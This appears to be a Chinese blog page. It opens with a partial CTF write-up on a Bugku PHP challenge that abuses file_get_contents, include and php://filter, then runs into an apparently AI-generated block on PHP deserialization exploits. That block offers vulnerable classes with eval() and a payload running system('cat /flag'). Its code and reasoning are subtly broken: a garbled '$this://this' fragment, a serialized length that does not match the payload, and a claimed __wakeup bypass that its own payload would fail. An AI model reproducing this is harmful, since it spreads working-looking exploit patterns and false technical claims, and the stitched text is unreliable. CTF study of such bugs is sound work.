记一道集PHP伪协议&PHP反序列化综合运用的CTF

本文通过一道CTF题目,详细解析了如何利用PHP伪协议php://filter和php://input来读取文件内容,以及如何通过反序列化操作触发特定函数,最终获取隐藏信息的过程。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

题目:http://120.24.86.145:8006/test1/

首先拿到题目后,毫无疑问,查看一下源码

<!--  
$user = $_GET["txt"];  
$file = $_GET["file"];  
$pass = $_GET["password"];  
  
if(isset($user)&&(file_get_contents($user,'r')==="welcome to the bugkuctf")){  
    echo "hello admin!<br>";  
    include($file); //hint.php  
}else{  
    echo "you are not admin ! ";  
}  
 -->  

解读一下源码的意思:

  1. get方式传入三个参数:txt,file,password
  2. file_get_contents()函数的作用是将$user的内容读取出来,在此即为将user读取出来的内容数值与类型完全等于welcome to the bugkuctf。(三个等于号)
  3. 如果满足if条件,则打印输出"hello admin!"。并且将包含的hint.php内容显示出来

在此,可以运用两个PHP的伪协议

  • php://filter         可以进行任意文件的读取。

有关php://filter的详细了解:https://www.leavesongs.com/PENETRATION/php-filter

CTF比赛中,PHP反序列化漏洞是常见的考察点之一,主要围绕PHP的序列化与反序列化机制展开。当用户输入的数据被直接反序列化时,攻击者可以通过构造恶意输入来控制对象的属性,甚至触发某些危险的魔法函数(如`__wakeup`、`__destruct`、`__invoke`等),从而实现任意代码执行、文件读取等操作。 ### 序列化与反序列化机制 PHP中的`serialize()`函数用于将对象的状态转换为字符串,而`unserialize()`函数则用于将该字符串还原为对象。例如,以下代码创建了一个对象并对其进行序列化: ```php class ctfShowUser { public $username = 'x'; public $password = 'y'; public $isVip = true; } $a = new ctfShowUser(); echo urlencode(serialize($a)); // 输出:O%3A9%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A1%3A%22x%22%3Bs%3A8%3A%22password%22%3Bs%3A1%3A%22y%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D ``` 此序列化字符串表示一个名为`ctfShowUser`的对象,包含三个属性:`username`、`password`和`isVip`。通过修改这些属性,攻击者可以尝试绕过某些逻辑判断,如身份验证等。 ### 魔法函数与漏洞利用 PHP中定义了一些特殊的“魔法函数”,它们在特定操作时自动调用,例如: - `__construct()`:构造函数,在对象创建时调用; - `__destruct()`:析构函数,在对象销毁时调用; - `__wakeup()`:在反序列化时调用; - `__sleep()`:在序列化时调用; - `__invoke()`:当尝试以函数方式调用对象时触发; - `__unserialize()`:在反序列化时调用,用于自定义反序列化行为。 在实际CTF题目中,常常会结合这些魔法函数来构造攻击链。例如,下面的代码展示了如何通过`__invoke`和`eval()`函数实现任意代码执行: ```php class ctfshowvip { public $username; public $password; public $code; public function __construct($u, $p) { $this->username = $u; $this->password = $p; } public function __wakeup() { if ($this->username != '' || $this->password != '') { die('error'); } } public function __invoke() { eval($this->code); } public function __sleep() { $this->username = ''; $this->password = ''; } public function __unserialize($data) { $this->username = $data['username']; $this->password = $data['password']; $this->code = $this->username . $this->password; } public function __destruct() { if ($this->code == 0x36d) { file_put_contents($this->username, $this->password); } } } unserialize($_GET['vip']); ``` 在这个例子中,`__invoke`方法使用了`eval()`函数,这意味着如果攻击者能够控制`$code`变量,就可以执行任意PHP代码。此外,`__wakeup`函数中存在一个限制条件,即`username`和`password`必须为空,否则会触发`die('error')`。为了绕过这个限制,攻击者可以利用`__unserialize`方法,将`username`和`password`设置为空字符串,同时将`code`设置为期望执行的代码。 ### 解题方法与技巧 在CTF比赛中,解决PHP反序列化漏洞题目的关键在于理解目标类的结构和魔法函数的行为。以下是常见的解题步骤: 1. **分析源码**:查看目标类的定义,识别是否存在魔法函数及其功能。重点关注`__wakeup`、`__destruct`、`__invoke`等可能触发危险操作的函数。 2. **构造恶意对象**:根据目标类的结构,构造一个恶意的序列化字符串,使其在反序列化时能够触发特定的魔法函数,并控制其行为。 3. **绕过限制条件**:有些题目会在魔法函数中设置限制条件(如`if ($this->username != '' || $this://this->password != '') { die('error'); }`),此时需要找到绕过这些条件的方法,例如通过`__unserialize`方法重置某些属性。 4. **实现任意代码执行**:如果目标类中存在`eval()`、`system()`等函数,攻击者可以通过构造恶意输入来执行任意命令。 5. **读取flag文件**:在某些情况下,攻击者需要读取服务器上的`flag`文件。此时可以利用`file_get_contents()`、`highlight_file()`等函数来实现文件读取。 ### 示例代码 以下是一个简单的示例,展示了如何构造一个恶意序列化字符串来绕过`__wakeup`函数并执行任意代码: ```php class ctfshowvip { public $username = 'admin'; public $password = '123456'; public $code = 'system("cat /flag");'; public function __wakeup() { if ($this->username != '' || $this->password != '') { die('error'); } } public function __invoke() { eval($this->code); } } $payload = new ctfshowvip(); $serialized = serialize($payload); echo urlencode($serialized); // 输出:O%3A9%3A%22ctfshowvip%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22123456%22%3Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%22cat+%2Fflag%22%29%3B%22%3B%7D ``` 在本例中,攻击者构造了一个`ctfshowvip`对象,并设置了`username`、`password`和`code`属性。通过将`code`设置为`system("cat /flag")`,攻击者可以在反序列化时触发`__wakeup`函数,并绕过其限制条件,最终执行任意命令。 ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值